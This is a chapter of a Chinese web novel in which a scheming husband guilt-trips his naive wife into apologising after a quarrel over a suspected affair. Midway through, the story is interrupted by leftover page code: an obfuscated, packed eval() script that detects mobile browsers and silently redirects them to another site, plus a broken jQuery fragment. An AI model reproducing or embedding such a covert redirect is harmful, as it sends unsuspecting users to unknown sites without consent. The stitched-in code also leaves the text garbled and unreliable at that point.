3. 003

作品:《被渣后成了王爷的宠妃

    姜姚向来单纯,也没什么心眼子,心里有事的时候多数是藏不住的。


    基本上都会表现在脸上。


    这一点尤为不好,容易被人拿捏,她自己也知道。


    可她觉着,自己与夫君在一起时就该坦诚相待。


    毕竟已经是夫妻了,就不该再伪装什么,有话说话有事说事,有情绪表现情绪,这样相处才会不容易有误会闹什么矛盾。


    所以与薛昭在一起的时候,她总是展示的都是最赤诚的自己。


    方才听到令她不舒服觉得不对劲的话时,也没有过多考虑,情绪立刻便下来了。


    一不言语,二沉了脸。


    就这般简单的两个动作,整个人的气场瞬间便不一样了。


    薛昭见她这般,就知道她不高兴了。


    当然,也知道自己话说的重。


    现在的他,在面对姜姚的时候已经没什么耐心。


    从他进门到现在为止估摸着已经过去一刻多钟,嘴皮子都要说干了,她居然还没有百分百相信自己,真是叫人烦闷。


    更烦闷的是眼下还要继续哄她。


    若不是因为自己在朝中位置还不稳,哪里需得这样谨慎。


    出身寒门大概便是他这一辈子的万恶之源。


    家中一无背景,二无银钱,无论何时都无人托举。


    还是靠自己奋发图强,一路过关斩将跻身为朝廷新贵,此中艰辛唯有他自己清楚,吃过的苦头也只有他自己知道。


    旁人又知得分毫?


    他深知自己的不易,才要牢牢握住眼下的权势。


    不仅要握住,还要越走越远,越走越高。


    侯爷算个什么大官职,要做就做一人之下万人之上的大权臣。


    人不为己,天诛地灭,做一个精致的利己主义者,才是对自己好。


    薛昭压下心中烦闷,稳了稳心神,问道,“阿姚,你怎么了?为何不说话了?”


    这话问的更奇怪了。


    不说话是因为什么他难道不知道吗,还要来问她?


    本来心情就不怎得好,一听他这样说,心中的无名火便窜了起来。


    但是两个人之前都矛盾都还未完全消除,姜姚又不想再将矛盾加深,只轻声问道,“夫君,我觉着你今日好像变了一个人,你说叫我不要害你,我听得很难受。我们在一起这么些年了,我是什么为人你难道还不清楚吗,怎得说那样的话来伤人呢?”


    变了变了!就知道说变了这两个字。


    像是戳中了痛处一样,薛昭突然冷了眸子,有些不客气的道,“姜姚,你在怀疑我?”


    姜姚被他吓了一跳,方才还有一箩筐的话想要倾吐,一下子全都被憋了回去。


    愣了片刻,小心翼翼的道,“我......我没有。”


    薛昭也是毫不顾忌她的感受,立刻反问,“既没有,那你为何要说我变了?我只是在阐述事实,怎么到你口中就变味了?”


    姜姚被吓到了,呆呆的不敢说话。


    薛昭继续加大力度。


    她越是被吓着,越是弱下来,越是容易被拿捏。


    “你可知道,我这几日也忙的脚不沾地,还打算寿宴结束后与你好好的说说话,将我们之间的那点矛盾解开。你倒好,上来就朝我发脾气,还说我有别的女人,还不由分说用玉佩砸我。”


    “我明日还要上朝呢,你看看你给我砸出来的大疙瘩,这要如何见人?”


    “你日日都在后宅,不懂得我在前朝为官的艰辛,我从最底层爬上来,不知道是多少人的眼中钉肉中刺。他们见我这般模样,定要在圣上那里参我一本,说我连后宅都治理不好,到时候损失有多惨重,你知道吗?”


    竟这般严重,听得姜姚一阵心惊肉跳的。


    回想起来他们初时在清阳县里挑灯夜读,吃尽苦头才走到今日,心里的最后一丝火气也没了,只剩下愧疚。


    “夫君。”她软了声音,“我不是故意的,你别生气了。”


    这回到轮到薛昭不说话了,当然也是故意的。


    他转身看向外头,沉着一张脸。


    姜姚一下子急了,赶紧站起身来,“端午,你快去冰块来。”


    端午惟愿姑娘与姑爷安安稳稳没有矛盾,跑得比兔子都快。


    屋中只剩下他们夫妻二人的时候,姜姚绕到薛昭面前,抬手轻轻抚了抚他的额头:


    “夫君,那件事是我错了,你原谅我好吗?”


    薛昭还是不为所动。


    姜姚拉住他衣袖再一次服软,“夫君,对不起,你别不理我,好不好?”


    就这般,两人的位置发生了对调。


    觉着时机也到了,薛昭才叹出口气,装作一副很为难的模样看着她,“下不为例!”


    又觉着这几个字好似有些词不达意,并添了几句当做警告,“我们是一起共患难过来的,我也是你夫君,你要做到无条件信任我才对,往后莫要听风就是雨跑来怀疑你最亲近的人。”


    “外头的人都恨不得你过的连乞丐都不如,各个心怀鬼胎,哪里会有人能像我这般对你。你已经没有家人了,在这个世上我才是你的家人,你得珍惜而不能伤害,这么说,你听明白了吗?”


    好一番动之以情晓之以理的洗脑,没经历点事情的人还真的招架不住。


    姜姚更是招架不住。


    早年便经历过家破人亡之惨事,又单纯,又缺爱,如何能知人性的险恶。


    几句话便被人哄住了,心里还觉着对不起人呢。


    “夫君,我这次真的知道错了,下次不会了。”她红着一双眼看着薛昭,“你知道的,我一直渴望有个家,好不容易我们才成了一家人,我当然是万分珍惜的。”


    “就是因为珍惜,所以......我才那般疯狂,都是因为我害怕失去你啊。你说的我都知道的,往后再也不会了。”


    “我们的误会既然都说开了,以后就不要再闹矛盾了好么?我是真的希望我们两个能一直好好的。”


    女子总是感性的,天生就比男子会爱人。


    几句话就从主动的那一方变成了被动的那一方,不仅主动认错,还将所有的事都背在自己身上。


    这就是薛昭最想看见的。


    见面前的人这般好拿捏,心中不仅得意,总算是解决了一桩麻烦。


    往后可得谨慎些,等自己的地位稳了,再顺理成章的解决。


    “嗯。”他敷衍的应了一声。


    姜姚心中如获大释,伸手自然的环住了他的腰,将脸埋在他怀里。


    嗅着熟悉的梅香,心中逐渐平静下来。


    还是这样好,两个人吵闹归吵闹,最后有什么误会都能说开,有什么误会都能解决,感情也不会朝恶劣的方向发展,反而因为这些事变得更好。


    她想,这大概便是去求和合玉佩之时,清衡道长指点的夫妻之间的相处之道吧。


    “夫君,我们以后都要好好的,可以吗?”


    她的声音清澈动听,如同山间的清泉沁人心脾,让人动容。


    以前薛昭最喜听她说话,总夸她像是百灵鸟。


    所以,姜姚也爱与他多说话,总是投其所好,还时常念诗词与他听。


    两人在清阳县的那段清苦日子不知道有多幸福,真是应了那句话,只羡鸳鸯不羡仙。


    只可惜,来到京都之后,一切就都变了。


    听了天生媚骨的女音,看了明艳摄人心魄的面皮,就陷进去再也出不来了。


    姜姚生的出尘脱俗,宛如清泉白雪,尤其是穿上一身白衫裙之时,就好似那仙女一般。


    与京都盛行的明艳格格不入,在薛昭这里,也开始格格不入了。


    低头望了一眼怀里的人,一副冰冷的眸子,还偏要挤出一副媚人的笑,都让人觉着做作。


    薛昭闭了闭眼,叹了口气,将人拉开。


    “行了,你知道错了就好,只要往后莫要再胡思乱想,莫要乱来,我们就能一直好好的。”


    姜姚头点的好似拨浪鼓,“好好好,我记住了,夫君。”


    端午进来的时候,两个人已经完全和好了。


    望着主子们这般和睦,心里的石头也都落了下来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234251|166012||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将冰块递给姜姚,姜姚接过,拉着薛昭在桌前坐下,轻轻的敷在红肿处,“夫君,你别担心,用这冰块多敷几次便能消肿,明日上朝保准一丝问题都没有。”


    这还是上次去祈福的时候在半道上摔了一跤,磕到手腕,起了个红红的大包看,是清衡道长给她冰块说这样容易消肿的。


    当时只急着祈福,接了冰块道谢之后就急急忙忙的走了。


    回来的时候才发现确实已经消肿,后来也没有多在意这件事。


    没想到居然还有用武之地,真是神来之笔。


    姜姚不禁暗自赞叹,清衡道长真是帮了她一个大忙,等过几日不忙了就去还愿,顺便带些东西去感谢感谢他。


    约莫来回敷了三五次,肿块便消了,最后只剩下一些些红痕。


    想来再过一夜,这点红痕也要消了,明日上朝便一丝问题都没有了。


    这番处理的差不多了,薛昭也不想再待下去,站起身,掸了掸衣袍上的折痕,不咸不淡的道,“我还有事,先走了。”


    姜姚也不好再强留,只陪着站起来,柔声道,“夫君,那你先忙,忙完了再回来陪我。”


    薛昭嗯了一声,大步往外走。


    走到门口,忽然想起来什么似的,又停下脚步转身回来。


    拿起桌上那块将自己砸的生疼的玉佩,摩挲了片刻,问道,“这是庙里求来的?”


    姜姚笑着应声,“是的,夫君,前些日子我们不是一直不好嘛,听说玉皇观里可灵了。我便去求了这块玉佩,希望我们夫妻二人能够和好如初。”


    “如今也做到了,看来这观里确实如外头说的那般,灵验着呢,改日要去还还愿。”


    薛昭愣了片刻,心中有了些计较。


    将那玉佩递给姜姚,语气严肃了不少,“旁的就不说了,你现在不是清阳县里那个平平无奇的女子,你是有身份的,现在是庆阳侯夫人。言行举止都会被人看着,还有去哪里做什么,见了什么人,都会被有心人记着。”


    “就拿祈求夫妻和睦这件事来说,就是一个大忌。万一有人知道我们夫妻失和,被人拿到前朝做文章,你说我该如何应对?”


    姜姚有些没明白,“那夫君的意思是什么?”


    怎么去祈福也能成为被人构陷的把柄呢,这这这......


    听着怪让人难受的。


    头一次,姜姚觉着这个京都不是个好待的地儿,像是能吃人一样。


    清阳县多好,无拘无束的,也没人管你做什么吃什么,去何处,简单又自由。


    “叫你往后少去人多眼杂的地方,就在府里呆着。”薛昭用一种命令的语气道,“多陪陪母亲,她生我养我,把我拉扯这么大不容易。你现在是我薛家人,就应该为母亲分忧,别再惹她不快。”


    “上次我就没说你,刚好讲到这里,你可要牢记了。母亲是长辈,你是晚辈,理应尊老,她说什么你听着就是,莫要再顶嘴,我一向喜欢乖顺之人,记住了吗?”


    又是一堆话,压的人喘不过来气。


    姜姚点点头,“知道了,我少出去就是了。我也知道母亲不易,我以后会好好与她相处的,你放心好了。”


    不出去可以,但是说起母亲这件事她就觉得委屈啊。


    明明是母亲自己找茬的,最后却要她忍气吞声,真不知道以后自己还要这般受多少气呢。


    不过心里是不舒服,但是也不好再纠缠什么。


    他们二人之间的矛盾才刚刚解开,可不能再失了和气。


    不就是让着她些吗,又不是做不到。


    薛昭走后,姜姚在屋里也待不住了。


    想起来以后要与王氏的相处就烦闷的很,带着端午去院子里散步。


    走着走着,便走出了垂花拱门。


    想着看看园子里的花草也能换换心情,没想到走着走着,鬼使神差的便走到了昨夜‘看见’薛昭与那女子幽会的地方。


    脑子里本来已经快模糊的画面,一下子又无比清晰起来,就像是刚刚发生过一样。


    她觉着,无论如何,还得去亲眼看看,才能放心。